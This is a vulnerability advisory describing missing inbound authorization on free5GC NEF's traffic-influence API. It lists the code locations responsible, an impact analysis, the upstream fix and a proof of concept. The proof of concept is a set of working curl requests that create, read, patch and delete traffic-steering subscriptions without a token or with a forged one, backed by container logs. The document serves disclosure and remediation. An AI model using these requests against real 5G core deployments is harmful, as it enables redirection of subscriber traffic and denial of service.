CVE-2026-44326

Summary

free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.

Details

Validated against the NEF container in the official Docker compose lab.

• Source repo tag: v4.2.1
• Running Docker image: free5gc/nef:v4.2.0
• Runtime NEF commit: 5ce35eab
• Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef):

• Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48
• CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/api_ti.go:13
• POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50
• PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279
• DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355
• NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153
• Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.

1. CREATE subscription with NO Authorization header at all -> 201 Created:

curl -i \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions

1. CREATE second subscription with FORGED bearer token -> 201 Created:

curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions

1. READ with forged token -> 200 OK:

curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

1. PATCH with forged token -> 500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed):

curl -i -X PATCH \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

1. DELETE with forged token -> 204 No Content:

curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):

[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH  | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET    | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:

• Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.
• Read existing AF subscriptions, leaking traffic-steering policy data.
• Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.
• Delete subscriptions, denying service to legitimately provisioned traffic influence.

The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/859

Upstream fix: https://github.com/free5gc/nef/pull/23